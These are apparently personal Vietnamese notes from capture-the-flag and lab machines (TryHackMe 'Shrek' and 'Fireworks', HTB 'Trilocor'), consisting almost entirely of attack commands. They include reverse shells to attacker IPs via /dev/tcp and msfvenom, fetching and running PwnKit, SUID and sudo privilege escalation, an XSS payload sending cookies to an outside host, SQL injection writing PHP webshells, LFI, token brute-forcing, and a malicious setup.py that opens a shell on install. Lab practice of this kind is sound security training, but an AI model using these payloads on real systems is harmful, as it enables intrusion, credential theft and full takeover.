# King of the hill
## [Shrek machine](https://www.youtube.com/watch?v=QsimLG1oZjo)
- Target sẽ là : 10.10.237.146
- `ping -c 3 target` -> test service
- `nmap -sC -sV -oN map.txt target` -> recon lấy dir và port
- `echo .... | base64 -d` -> decode base64
- `chmod 600 id_rsa` -> `ssh -i id_rsa username@target` -> kết nối ssh khi biết private key
- `skipper --dirhttp target | bash` -> recoce
- `curl target:port` -> check port
```code=
sudo service openvpn restart
sudo pkill openvpn
sudo service networking restart
sudo openvpn user.ovpn
```
=> open lại vpn
```code=
find / -perm -u=s -type f 2>/dev/null
nano binary-escalation -> tìm chỗ để leo thang
user/bin/gdb -> leo thang
https://gtfobins.github.io/
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
id
```
=> leo thang bằng gdb khi đã RCE được
```code=
wget http://Your-ip
python3 -m http.server
```
=> lấy file đưa vào máy nạn nhân dugnf wget
```code=
uname -a
echo "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=yourIP LPORT=yourPort -f elf > shell.elf" > backdoor
msfconsole
use multi/handler
set lhost tun0
set
option
exploit
set PAYLOAD php/meterpreter/reverse_tcp
run
```
=> Reverse shell bằng metasploit
- `wget http://Your-ip/shell.elf`
- `chmod + shell.elf`
- `./shell.elf done &`
- `cd /` -> `cd root` -> `cat root.txt` -> chua leo thang
- `find / | grep flag.txt`
- `which python3` -> creat reverse shell
- `echo '<?php system($_GET["cmd"]); ?> ' > shell.php`
- `nc lnvp 9001`
-  -> paste `?cmd=`
- `https://github.com/ly4k/PwnKit` -> `curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit || exit` -> `chmod +x PwnKit` -> `./PwnKit` -> RCE
- `adduser ams`
- `passwd ams`
- `vim /etc/sudoers`
- 
- `sudo su`
- `vim /etc/ssh/sshd_config`
- 
- 
- `systemctl restart sshd`
- 
- 
- shrek : ssh
- geo : 9999
- 
- Donkey : reverse shell python -> pwnkit lên root
## [Fireworks machine](https://www.youtube.com/watch?v=1ypi7mqCfXo)
- `threader 3000` -> quét cổng
- `ftp target` -> `get abc.txt`
```code=
ssh2john id_rsa > forjohn
j forjohn
john forjohn --show
```
=> crak passwd để
```code=
nano
^R^X
reset; sh 1>&0 2>&0
```
=> [Tạo shell mới khi nó bị giới hạn](https://gtfobins.github.io/gtfobins/nano/) => lấy được shell
`sudo -l` -> thấy NoPasswd với `usr/bin/nmap`
```code=
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
```
```code=
echo 'h00dy' > king.txt
chattr +i king.txt
```
=> đặt thuộc tính không thể thay đổi kể cả root cho đến khi thuộc tính bị gỡ
```code=
whatweb http://12.3.3.4
searchsploit kết quả vừa tìm
```
```code=
sqlmap -r sql.txt --dbs --threads 10 -> tim payload
sqlmap -r sql.txt -D mgs_db --tables --threads 10 --batch -> tim table
sqlmap -r sql.txt -D mgs_db -T users --dump --threads 10 --batch -> usser
```
[crakking passwd](https://crackstation.net/)
- looking url liKE `user/list` -> `etc/passwd` -> `usr/bin/fireshell`
```code=
docker ps
docker exec -it id bash
```
[vào đây để tìm POC](https://www.vicarius.io/vsociety/)
[CVE trong bài này](https://www.vicarius.io/vsociety/posts/xwiki-rce-cve-2024-31982)
```code=
/bin/bash -c '/bin/bash -i >& /dev/tcp/atkker-ip/1337 0>&1'
chmodx void.sh
up 80
nc -lnvp 1337
python3 xwiki_rce.py -u "http:...." -c 'curl atk_ip/void.sh -o void.sh'
python3 xwiki_rce.py -u "http:...." -c 'bash void.sh'
```
=> cắm shell
```code=
chmod 600 id_rsa
ssh -i id_rsa thomas@target
```
```code=
find . -name 'id_rsa' 2>/dev/null
```
```code=
su david
```
```code=
shell id
nc -lnvp 1337
shell bash -c 'bash -i >& /dev/tcp/atk_ip/1337 0>&1'
```
## Trilocor robotic - HTB
- XSS
- `<img src=x onerror="this.src='http://10.10.14.3:8000/cookie?c='+document.cookie">`
- ` python -m http.server `
- ` ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://www.trilocor.local/ -H 'Host: FUZZ.trilocor.local' -t 20 -fw 5194,1 `
- Upload file
- Elementor v3.7.7
- `action=elementor_library_direct_actions&_nonce=444650fd84&library_action=import_template&fileData=PD9waHAgZWNobyBpc3NldCgkX0dFVFsnY21kJ10pID8gc2hlbGxfZXhlYygkX0dFVFsnY21kJ10pIDogbnVsbDsgPz4K&fileName=/../payload.php `
- `http://admin.trilocor.local/wp-content/uploads/elementor/tmp/payload.php?cmd=cat%20/etc/passwd `
- SQLi
- `http://www.trilocor.local:8088/index.php?username=hr-smith'+OR+'1'='1&password=hr-smit `
- LFi
- Đổi method
- `ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://www.trilocor.local:8088/dashboard.php -X POST -d "language=FUZZ" -H "Content-Type: application/x-www form-urlencoded" -H "Cookie: PHPSESSID=f0u8vq154fpnlj8e8pchhq2d57" -fs 3018,3035 `
```code!
http://www.trilocor.local:8088/index.php?username=hr-smith'+OR+'<?=`ls`?>'!='1&password=hr-smitth
```
-
- `....// ....// ....//var/lib/php/sessions/sess_<session_id> ` -> đọc ls
- Weak passwd reset token
- `seq -w 0000 9999 > tokens.txt `
- ` ffuf -w tokens.txt -request req.txt -request-proto http -u http://www.trilocor.local:8080/reset.php -fs 4568 `
- SQLi
- `sqlmap -u "http://www.trilocor.local:8080/resumes.php?search=r.batty" -cookie="PHPSESSID=5oo04rk4eovu3k3e30pu7qop0u" --batch --level=5 --risk=3`
- `http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+'1','2','3','4','5','6 `
- `http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+NULL,NULL,variable_name,variable_value,NULL,'3'+FROM+information_schema.global_variables+where+variable_name%3d"secure_file_priv"--+` -> đọc để xem có giới hạn gì không
- `http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+'IceKing+Write+File',NULL,'1','2',NULL,''+INTO+OUTFILE+'/tmp/test.txt ` -> viết file
- `http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+NULL,NULL,'1',2,NULL,LOAD_FILE('/tmp/test.txt')%3b--+ ` -> đọc file
- ` ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u "http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+NULL,NULL,'1',2,NULL,LOAD_FILE('FUZZ')%3b-+" -H "Cookie: PHPSESSID=5oo04rk4eovu3k3e30pu7qop0u" -fs 3176 `
- `http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+NULL,NULL,'1',2,NULL,(SELECT+LOAD_FILE('/etc/apache2/httpd.conf'))%3b--+ `
- `http://www.trilocor.local:8080/resumes.php?search='+UNION+SELECT+'<%3fphp+system($_REQUEST[0])%3b+%3f>',NULL,'1','2',NULL,''+INTO+OUTFILE+'/var/www/public/shell.php ` -> up webshell
- SSRF
```code=
mkdir evilpkg
cd evilpkg
from setuptools import setup
import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.22/4444 0>&1'")
setup(
name="evilpkg",
version="0.1",
description="Malicious package",
packages=["evilpkg"],
)
echo "" > __init__.py
cd ..
tar -czf evilpkg-0.1.tar.gz *
[us-academy-exams-1]-[10.10.14.22]-[htb-ac-852867@htb-3aeykq8h7q]-[~]
[*]$ nc -lvnp 4444
listening on [any] 4444 ...
```
- 
- `nc -lvnp 4444`
- `sudo ufw status verbose` -> các cổng được cho phép mở
Sign in with Wallet
Connect another wallet